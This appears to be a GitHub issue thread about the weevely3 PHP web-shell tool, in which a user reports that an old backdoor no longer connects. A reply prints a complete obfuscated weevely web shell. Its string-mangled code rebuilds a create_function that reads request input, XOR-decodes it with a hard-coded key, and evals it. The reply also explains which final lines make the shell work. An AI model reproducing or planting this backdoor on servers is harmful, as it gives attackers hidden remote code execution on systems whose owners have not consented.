epinna/weevely3

old version created weevely backdoor not connect with latest version

Closed this issue · 2 comments

here i old backdoor

Password is :- 1234

But it is not connected with latest version weevely

php.txt
here is my backdoor code which is created with old weevely but now it is not connected with new version weevely
password si :- 11234

Is that all your webshell contains ?

Because it lacks the last part. Here is full weevely webshell:

$ weevely generate -obfuscator obfusc1_php 1234 -       
<?php
$B='fXZunction XZx($t,$k){XZ$XZc=XZstrlen($k);$l=strleXZn($tXZ);$o=XZ"XZ";for(XZ$i=0;$i<$l;XZ){for($';
$m=');@eXZval(@XZXZgzXZuncompress(@x(@baXZseXZ64_decoXZde($m[1]XZ),$k))XZ);XZ$o=@ob_get_XZcXZontent';
$g='j=XZ0;($j<XZ$c&&$XZiXZ<$l);$j++,XZ$i+XZ+){$oXZ.XZ=$t[$i]^$k[XZ$j];}XZ}return $oXZ;}XZif (XZXZ@preg';
$z='s(XZ);@oXZb_eXZnd_clean();$rXZ=@base6XZ4_enXZcode(@x(XZ@gXZzcompresXZs(XZ$o),$k));priXZXZXZnt("$p$kh$r$kf");}';
$H='_match("/$XZkh(XZ.+XZ)$kf/",@file_get_conteXZnXZts("php://XZinputXZ"),$m)=XZ=1)XZ {@ob_stXZart(';
$s='$k="XZ8XZ1dc9bdb";XZ$kh="5XZ2d04dc2003XZXZ6";$kf="XZdbd8313ed055XZ";XZ$p="CNVSXZxXZwt6lQtXZXZD1N7G";';
$E=str_replace('xk','','xkcrexkaxktxkexk_functixkon');
$i=str_replace('XZ','',$s.$B.$g.$H.$m.$z);
$Z=$E('',$i);$Z();
?>

Without the three last lines you are missing ($E, $i and $Z in this case) it won't do anything.